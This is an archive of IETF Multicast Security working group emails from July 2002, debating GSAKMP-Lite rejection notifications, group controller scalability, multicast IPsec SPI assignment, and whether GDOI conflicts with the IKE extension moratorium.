  by klesh.pair.com with SMTP; 29 Jul 2002 15:10:00 -0000
Received: from ccsrnrpc16.ee.surrey.ac.uk ([131.227.88.65] helo=eim.surrey.ac.uk)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.33 #4)
	id 17ZC99-0005bi-00
	for msec@securemulticast.org; Mon, 29 Jul 2002 16:09:19 +0100
Message-ID: <3D455A9E.A409CE4C@eim.surrey.ac.uk>
From: Haitham Cruickshank <H.Cruickshank@eim.surrey.ac.uk>
Organization: CCSR
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
Cc: msec@securemulticast.org
Subject: Re: [MSEC] Addition to GSAKMP-Lite
References: <4.2.2.20020724124602.013e9c80@pop.columbia.sparta.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Spam-Status: No, hits=-97.8 required=7.0
	tests=DOUBLE_CAPSWORD,USER_IN_WHITELIST,MISSING_HEADERS
	version=2.31
X-Scanner: exiscan *17ZC99-0005bi-00*ZS3U7iEw6fo* (SECM, UniS)
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Mon, 29 Jul 2002 16:09:18 +0100
Content-Transfer-Encoding: 7bit

Hi Gavin and Hugh,

I like to continue the discussions that Gavin has raise recently.

Hugh Harney wrote:

> Gavin,
>
> I looked into the reference code and our RFC for GSAKMP. I think we need to
> clarify the I-D to ensure rejection notifications are allowed. I'm not sure
> if they have to be mandatory. It was my intention to allow them.
>
> I'd like to hear the lists opinion about making rejection notifications
> mandatory or optional.

I agree with Uri that mandatory rejection notifications can lead potentially to
DoS attack against the host containing the Group Controller. Therefore
"optional" rejection notifications
is better and it should be guarded against DoS in the sense of light
computational processing to produce the rejection message.

In addition to Gavin's request,  I like to raise another issue: SCALABILITY
with regards to very large multicast groups.  Both GSAKMP and GSAKMP-Lite
mention the Subordinate Group Controller (SGC) that can provide scalability and
distributed group processing and communication.   However the documents do not
specify the details of how GC and SGC work together.  The RFC 2627 (LKH)
mentions the potential problems with "pushing trust down to each subgroup
controller". Can the authors comment on this please.  If possible, the new
version of the ID may include more details on this please.  Thanks.

Haitham

>
>
> We are working on the next revision of the spec. I'll make sure to include
> a discussion about rejection notifications.
>
> I see you point in using rejection notifications to spur a customer to
> action. Well, spur an automatic agent to action.
>
> Hugh
>
> At 03:22 PM 7/24/02 +0100, you wrote:
> >Hi,
> >
> >I am looking at using GSAKMP-Lite to secure multicast
> >transmissions over satellite and from going through
> >the RFC, there does not seem to be any rejection
> >notification sent to the client should it's request to
> >join be turned down. I appreciate that in some
> >circumstances you don't want to give away any more
> >information than you have to, but for my application
> >where messages may get lost or corrupted due to the
> >transmission medium it would be nice to have a
> >mechanism that supplied positive feedback.
> >
> >Such feedback could also be used to encourage the client to
> >pay for a service. i.e. "You are rejected", the client
> >would know this is because it hasn't paid a membership
> >fee, it could then initiate a payment mechanism and
> >reapply to join.
> >
> >I recognise that GSAKMP supplies such a mechanism via
> >the notification payload (e.g. unauthorized request),
> >but I couldn't see this in GSAKMP-Lite, which would be
> >better for satellite use, due to the reduced number of
> >exchanges. I was wondering what the views of the list
> >were on this.
> >
> >regards,
> >
> >Gavin
> >
> >This e-mail and any attachment is for authorised use by the intended
> >recipient(s) only.  It may contain proprietary material, confidential
> >information and/or be subject to legal privilege.  It should not be
> >copied, disclosed to, retained or used by, any other party.  If you are
> >not an intended recipient then please promptly delete this e-mail and any
> >attachment and all copies and inform the sender.  Thank you.
> >
> >_______________________________________________
> >msec mailing list
> >msec@securemulticast.org
> >http://www.pairlist.net/mailman/listinfo/msec
>
> ________________________________________________________
> Hugh Harney             hh@sparta.com           410-381-9400 x203
> ________________________________________________________
>
> _______________________________________________
> msec mailing list
> msec@securemulticast.org
> http://www.pairlist.net/mailman/listinfo/msec

--
Dr. Haitham S. Cruickshank

Senior Research Fellow in Communications
Centre for Communication Systems Research (CCSR)
School of Electronics, Computing and Mathematics
University of Surrey
Guildford, Surrey GU2 7XH, UK

Tel: +44 1483 686007 (indirect 689844)
Fax: +44 1483 686011
e-mail: H.Cruickshank@surrey.ac.uk
http://www.ee.surrey.ac.uk/Personal/H.Cruickshank/



_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Mon Jul 29 11:42:06 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04551
	for <msec-archive@odin.ietf.org>; Mon, 29 Jul 2002 11:42:05 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id E8FEC537C7; Mon, 29 Jul 2002 11:37:01 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 1E7F5537C6
	for <msec@lists.securemulticast.org>; Mon, 29 Jul 2002 11:36:03 -0400 (EDT)
Received: (qmail 85995 invoked by uid 3269); 29 Jul 2002 15:38:23 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 85992 invoked from network); 29 Jul 2002 15:38:22 -0000
Received: from sj-msg-core-2.cisco.com (171.69.24.11)
  by klesh.pair.com with SMTP; 29 Jul 2002 15:38:22 -0000
Received: from mira-sjc5-6.cisco.com (IDENT:mirapoint@mira-sjc5-6.cisco.com [171.71.163.23])
	by sj-msg-core-2.cisco.com (8.12.2/8.12.2) with ESMTP id g6TFbihI007099;
	Mon, 29 Jul 2002 08:37:44 -0700 (PDT)
Received: from mbaugher-w2k1.cisco.com (stealth-10-34-251-94.cisco.com [10.34.251.94])
	by mira-sjc5-6.cisco.com (Mirapoint)
	with SMTP id ACE65964;
	Mon, 29 Jul 2002 08:34:49 -0700 (PDT)
Message-Id: <4.3.2.7.2.20020729071825.050bc8e0@mira-sjc5-6.cisco.com>
X-Sender: mbaugher@mira-sjc5-6.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
To: Stephen Kent <kent@bbn.com>
From: Mark Baugher <mbaugher@cisco.com>
Cc: ipsec@lists.tislabs.com, msec@securemulticast.org
In-Reply-To: <p05100301b963dfd219c1@[192.168.100.146]>
References: <4.3.2.7.2.20020720073224.02473a80@mira-sjc5-6.cisco.com>
 <4.3.2.7.2.20020709135351.0251a3f0@mira-sjc5-6.cisco.com>
 <4.3.2.7.2.20020709135351.0251a3f0@mira-sjc5-6.cisco.com>
 <4.3.2.7.2.20020720073224.02473a80@mira-sjc5-6.cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: [MSEC] Re: new version of ESP ID
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Mon, 29 Jul 2002 08:35:22 -0700

Steve,

At 12:47 AM 7/24/2002 -0400, Stephen Kent wrote:

<...>

>>I think I understand your rationale.  We should at least document the 
>>fact that it may be necessary to identify the multicast ESP SA using the 
>>triple <source, destination, SPI> for source-specific multicast - for 
>>some applications.  I think Bill and Radia's previous comments to this 
>>thread explain why.  If all sources to a multicast address use the same 
>>group key controller, then I don't see a problem.  If some sources to a 
>>multicast address use distinct group key controllers (e.g., each source 
>>acts as its own controller), then there is the potential for SPI 
>>collisions and means must be invented to handle these collisions.
>>
>>Mark
>
>Mark,
>
>I don't feel that we have a good enough answers to proceed, yet. We cannot 
>proceed on the basis of "may be necessary." What we need is a concise 
>description of what is required for multicast traffic demuxing, based on 
>extant protocol standards, including how SPIs will be assigned in the 
>context of these protocols.

My reading of the new AH and ESP I-Ds is that they both support a multicast 
SA from a single sender to a multicast group address.  Even this level of 
security has the important limitation that every member of the secure group 
has the key that is used for authenticating IPsec packets and a rogue 
member might use that key to impersonate a sender.

Is this security in the new I-Ds useful?  It would work for the one 
commercial multicast service I am familiar with that was offered by an 
international network service provider a few years back; this service 
allowed hosts to receive multicast but not send to a multicast address - 
there was only one sender.  I am also aware of a couple of companies that 
enabled multicast on their campuses for briefings and trainings.  I talked 
to more than a couple of companies who wanted only a single sender to a 
multicast address and wanted to configure their networks so hosts other 
than the single sender could not send.  This desire did not come from any 
security awareness but to mitigate unauthorized, high-volume traffic on 
their networks.

Will the new I-Ds support multicast in general?  Extant standards support 
what might be called "any source multicast" so the restriction of not 
allowing multiple senders to a secure group means that IGMPv2 host 
semantics are not supported.  If we identified a multicast IPsec SA with 
the source address, network address, and SPI, then we could assign an IPsec 
SA to an (S,G) without assuming that there is some central device 
allocating SPIs.  This would support both IGMPv2 and IGMPv3 in my 
opinion.  We still lack packet authentication unless all group members are 
trusted not to impersonate a source.  VRRP, some routing protocols, and 
other applications assume that kind of trust.  But at least some of these 
protocols (e.g. VRRP) have multiple S's sending to a single G. (the scheme 
in the new AH and ESP I-Ds could still work if we assume a central entity 
managing SPIs).

What about using (G, SPI) and have a central entity manage SPI for G? There 
is no reason why a particular host S that sends to a group G cannot manage 
keys for (S,G).  In this case, S would allocate the SPI.  A large scale 
service, however, such as a Fortune 500 company that sends multicast 
training and briefing content to campuses and field offices, would likely 
operate a network operations center and use a specialized key server to 
allocate keys and SPI.  Both scenaria are valid.  But in general, (G, SPI) 
does not support Si and Sj managing keys for their own traffic.

>Implementors cannot reasonably deal with the current level of vague 
>characterization of requirements floating around in this discussion. for 
>example, if there are two group key controllers for a multicast session, 
>and each assigns SPis independently to subscribers (and thus the collision 
>potential), which SPI will a sender put in an outbound packet to ensure 
>that all recipients will recognize it?

One way to do it: sender Sj sends SPIj when there is an SA in place for 
<Sj, G, SPIj> at members of Sj, G.  We can get this capability by including 
Sj to identify the IPsec multicast SA.  This of course does not mean that a 
single SA services all senders to the particular multicast address; for 
that you would need to have a replay table.  I think Bill asked for 
supporting (*, G) in addition to (S, G), but the former means that an IPsec 
host would need to support a replay list for every potential 
sender.  Rather than do that, there can be an SA for each source.  The new 
AH and ESP I-Ds accomplish this by limiting G to have one sender.  I would 
not do it that way.

I don't see any of this as urgent for IPsec because the new I-Ds still do 
not address a fundamental problem:  Packet source authentication.  I expect 
that this problem is in MSEC's realm.  As I see it, you are addressing a 
subset of the requirements, which would be suitable for some environments, 
but which does not support nascent multicast standards such as IGMPv3.  Nor 
does it support extant standards such as IGMPv2.  Neither are securable in 
general anyway without multicast packet source authentication or some 
restriction on who can send.

Mark


>Steve


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Mon Jul 29 14:27:50 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA09855
	for <msec-archive@odin.ietf.org>; Mon, 29 Jul 2002 14:27:49 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 6286C53583; Mon, 29 Jul 2002 14:26:04 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 9C1ED53583
	for <msec@lists.securemulticast.org>; Mon, 29 Jul 2002 14:25:13 -0400 (EDT)
Received: (qmail 9609 invoked by uid 3269); 29 Jul 2002 18:27:33 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 9603 invoked from network); 29 Jul 2002 18:27:33 -0000
Received: from igw3.watson.ibm.com (198.81.209.18)
  by klesh.pair.com with SMTP; 29 Jul 2002 18:27:33 -0000
Received: from sp1n293en1.watson.ibm.com (sp1n293en1.watson.ibm.com [9.2.112.57])
	by igw3.watson.ibm.com (8.11.4/8.11.4) with ESMTP id g6TIQQC22134;
	Mon, 29 Jul 2002 14:26:26 -0400
Received: from ornavella.watson.ibm.com (ornavella.watson.ibm.com [9.2.16.80])
	by sp1n293en1.watson.ibm.com (8.11.4/8.11.4) with ESMTP id g6TIQPH45498;
	Mon, 29 Jul 2002 14:26:27 -0400
Received: (from canetti@localhost)
	by ornavella.watson.ibm.com (AIX4.3/8.9.3/8.9.3/01-10-2000) id OAA30424;
	Mon, 29 Jul 2002 14:26:18 -0400
From: Ran Canetti <canetti@watson.ibm.com>
Message-Id: <200207291826.OAA30424@ornavella.watson.ibm.com>
To: H.Cruickshank@eim.surrey.ac.uk, ipsec@lists.tislabs.com,
        msec@securemulticast.org
Subject: Re: [MSEC] Re: new version of ESP ID
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Mon, 29 Jul 2002 14:26:18 -0400

Haitham,

Regarding the distributed controller issue. MSEC has set up for itself to first
address the single controller setting, with the ideas that:
1) the single controller setting is complex and relevant enough 
2) there can be many alternative ways to distribute the functionality of the
controller. In the most part, this can be done in a "transparent" way
as far as the group members are concerned. Furthermore, there seems to be 
less urgent need for standardization there.

I suggest to limit further discussion of this issue to the msec list,
no need to bother ipsec with this.

Ran


> From: Haitham Cruickshank <H.Cruickshank@eim.surrey.ac.uk>
> 
> ...
> 
> 1. Scalability:  For very large groups (thousands of members) or very dynamic
> multicast groups (frequent join and leaves), having a single group controller
> might not scale well specially for re-keying problem (changing keys when
> members join or leave).  If this problems is true, then we need to have a
> distributed group controller/controllers and this brings new problems which has
> been discussed in some previous emails.
> 
> ...

_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul 30 09:56:49 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18481
	for <msec-archive@odin.ietf.org>; Tue, 30 Jul 2002 09:56:49 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id CF98B535AD; Tue, 30 Jul 2002 09:55:04 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 1B5E353597
	for <msec@lists.securemulticast.org>; Tue, 30 Jul 2002 09:54:52 -0400 (EDT)
Received: (qmail 56389 invoked by uid 3269); 30 Jul 2002 13:57:14 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 56386 invoked from network); 30 Jul 2002 13:57:13 -0000
Received: from sj-msg-core-2.cisco.com (171.69.24.11)
  by klesh.pair.com with SMTP; 30 Jul 2002 13:57:13 -0000
Received: from mira-sjc5-6.cisco.com (IDENT:mirapoint@mira-sjc5-6.cisco.com [171.71.163.23])
	by sj-msg-core-2.cisco.com (8.12.2/8.12.2) with ESMTP id g6UDuBhI010953;
	Tue, 30 Jul 2002 06:56:11 -0700 (PDT)
Received: from mbaugher-w2k1.cisco.com (stealth-10-34-251-94.cisco.com [10.34.251.94])
	by mira-sjc5-6.cisco.com (Mirapoint)
	with SMTP id ACE86018;
	Tue, 30 Jul 2002 06:53:15 -0700 (PDT)
Message-Id: <4.3.2.7.2.20020730065043.04afccb8@mira-sjc5-6.cisco.com>
X-Sender: mbaugher@mira-sjc5-6.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
To: Dan Harkins <dharkins@tibernian.com>
From: Mark Baugher <mbaugher@cisco.com>
Cc: iesg@ietf.org, msec@securemulticast.org, ipsec@lists.tislabs.com
In-Reply-To: <200207300143.g6U1hKwV022982@mail2.trpz.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: [MSEC] Re: Last Call: The Group Domain of Interpretation to Proposed
 Standard
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 30 Jul 2002 06:53:47 -0700

Dan
   GDOI is not subject to ipsec moritoriums since it is a product of 
msec.  You cite Steve Bellovin and Jeff Schiller.  Steve is reviewing GDOI 
for us.

Mark
At 06:42 PM 7/29/2002 -0700, Dan Harkins wrote:
>   This draft piggybacks on top of IKE (RFC2409) by defining a new "phase 2"
>exchange to be protected by an IKE Security Association established
>in a "phase 1" exchange. There is currently a moratorium on doing this
>as was explained by Marcus Leech (then co-AD) on behalf of himself,
>Jeff Schiller and Steve Bellovin in a "Position Statement" mailed on
>August 2nd 2001 and partially excerpted here:
>
>   "Despite the obviously complex nature of IKE, several proposals have
>    been put forward to extend ISAKMP/IKE in various ways, for various
>    purposes.  Proposals such as IKECFG, XAUTH, Hybrid-AUTH, CRACK, and
>    others do nothing to improve the complexity situation with regard to
>    IKE as a whole.  While many of these proposals are, individually,
>    based on sound engineering and reasonably prudent practice, when cast
>    in the larger context of IKE, it seems clear that they can do nothing
>    to improve the complexity picture.
>
>   "It is with that in mind that the Security Area directors in the IETF,
>    with the consultation of appropriate people on the IESG and IAB, hereby
>    place a temporary moratorium on the addition of new features to IKE.
>    It is fairly clear that work on IKE should focus on fixing identified
>    weaknesses in the protocol, rather than adding features that detract
>    from the goal of simplicity and correctness.
>
>   "We are concerned that trying to reuse too much of the IKE
>    code base in new protocols -- PIC and GDOI come to mind --
>    will lead to more complex (and hence vulnerable) implementations.
>    We suggest that implementors resist this temptation, with the
>    obvious exception of common library functions that perform
>    functions such as large modular exponentiations.  Attempts
>    to share state or to optimize message exchanges are likely to
>    lead to disaster."
>
>   GDOI does indeed share state from IKE. It requires the authenticated and
>secret keys IKE derives, among other things (like "cookies", etc). It was
>even explicitly mentioned in the Position Statement as a source of
>concern.
>
>   I urge the IESG to reject the request to advance this draft to Proposed
>Standard as it will lead to more complex and vulnerable implementations
>and "likely lead to disaster."
>
>   Dan.
>
>On Mon, 29 Jul 2002 14:22:28 PDT you wrote
> >
> > The IESG has received a request from the Multicast Security Working Group
> > to consider The Group Domain of Interpretation
> > <draft-ietf-msec-gdoi-05.txt> as a Proposed Standard.
> >
> > The IESG plans to make a decision in the next few weeks, and solicits
> > final comments on this action.  Please send any comments to the
> > iesg@ietf.org or ietf@ietf.org mailing lists by August 12, 2002.
> >
> > Files can be obtained via
> > http://www.ietf.org/internet-drafts/draft-ietf-msec-gdoi-05.txt


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul 30 14:25:17 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA03339
	for <msec-archive@odin.ietf.org>; Tue, 30 Jul 2002 14:25:17 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 8269753802; Tue, 30 Jul 2002 14:23:23 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 91FF1537E6
	for <msec@lists.securemulticast.org>; Tue, 30 Jul 2002 14:20:33 -0400 (EDT)
Received: (qmail 96148 invoked by uid 3269); 30 Jul 2002 18:22:56 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 96145 invoked from network); 30 Jul 2002 18:22:56 -0000
Received: from sj-msg-core-3.cisco.com (171.70.157.152)
  by klesh.pair.com with SMTP; 30 Jul 2002 18:22:56 -0000
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.17.42])
	by sj-msg-core-3.cisco.com (8.12.2/8.12.2) with ESMTP id g6UILj9V006495;
	Tue, 30 Jul 2002 11:21:45 -0700 (PDT)
Received: from nisser.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.12.2/8.12.2) with ESMTP id g6UILqpS003081;
	Tue, 30 Jul 2002 11:21:52 -0700 (PDT)
Received: from cisco.com (dhcp-128-107-212-53.cisco.com [128.107.212.53]) by nisser.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id LAA06759; Tue, 30 Jul 2002 11:21:46 -0700 (PDT)
Message-ID: <3D46D93A.1101E851@cisco.com>
From: Brian Weis <bew@cisco.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Dan Harkins <dharkins@tibernian.com>
Cc: iesg@ietf.org, msec@securemulticast.org, ipsec@lists.tislabs.com
References: <200207300143.g6U1hKwV022982@mail2.trpz.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: [MSEC] Re: Last Call: The Group Domain of Interpretation to Proposed Standard
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 30 Jul 2002 11:21:46 -0700
Content-Transfer-Encoding: 7bit

I'd like to address a couple of common misconceptions about GDOI.

Dan Harkins wrote:
> 
>   This draft piggybacks on top of IKE (RFC2409) by defining a new "phase 2"
> exchange to be protected by an IKE Security Association established
> in a "phase 1" exchange. There is currently a moratorium on doing this
> as was explained by Marcus Leech (then co-AD) on behalf of himself,
> Jeff Schiller and Steve Bellovin in a "Position Statement" mailed on
> August 2nd 2001 and partially excerpted here:

GDOI does not actually define a new phase 2 of IKE. It does use IKE
protocol definitions and structures. The GDOI protocol itself however
seeks to separate itself from IKE in the following ways:

* Uses a DOI which is discrete from the IPSEC DOI
* Uses a different port (the draft specifies "MUST NOT run on port 500")
* Specifies no additions to the namespaces or described in RFC 2407 or
changes to the protocols described in RFC 2409

This is a new protocol, not an update to IKE.

Brian

>   "Despite the obviously complex nature of IKE, several proposals have
>    been put forward to extend ISAKMP/IKE in various ways, for various
>    purposes.  Proposals such as IKECFG, XAUTH, Hybrid-AUTH, CRACK, and
>    others do nothing to improve the complexity situation with regard to
>    IKE as a whole.  While many of these proposals are, individually,
>    based on sound engineering and reasonably prudent practice, when cast
>    in the larger context of IKE, it seems clear that they can do nothing
>    to improve the complexity picture.
> 
>   "It is with that in mind that the Security Area directors in the IETF,
>    with the consultation of appropriate people on the IESG and IAB, hereby
>    place a temporary moratorium on the addition of new features to IKE.
>    It is fairly clear that work on IKE should focus on fixing identified
>    weaknesses in the protocol, rather than adding features that detract
>    from the goal of simplicity and correctness.
> 
>   "We are concerned that trying to reuse too much of the IKE
>    code base in new protocols -- PIC and GDOI come to mind --
>    will lead to more complex (and hence vulnerable) implementations.
>    We suggest that implementors resist this temptation, with the
>    obvious exception of common library functions that perform
>    functions such as large modular exponentiations.  Attempts
>    to share state or to optimize message exchanges are likely to
>    lead to disaster."
> 
>   GDOI does indeed share state from IKE. It requires the authenticated and
> secret keys IKE derives, among other things (like "cookies", etc). It was
> even explicitly mentioned in the Position Statement as a source of
> concern.
> 
>   I urge the IESG to reject the request to advance this draft to Proposed
> Standard as it will lead to more complex and vulnerable implementations
> and "likely lead to disaster."
> 
>   Dan.
> 
> On Mon, 29 Jul 2002 14:22:28 PDT you wrote
> >
> > The IESG has received a request from the Multicast Security Working Group
> > to consider The Group Domain of Interpretation
> > <draft-ietf-msec-gdoi-05.txt> as a Proposed Standard.
> >
> > The IESG plans to make a decision in the next few weeks, and solicits
> > final comments on this action.  Please send any comments to the
> > iesg@ietf.org or ietf@ietf.org mailing lists by August 12, 2002.
> >
> > Files can be obtained via
> > http://www.ietf.org/internet-drafts/draft-ietf-msec-gdoi-05.txt

-- 
Brian Weis
Strategic Cryptographic Development, ITD, Cisco Systems
Telephone: +1 408 526 4796
Email: bew@cisco.com

_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec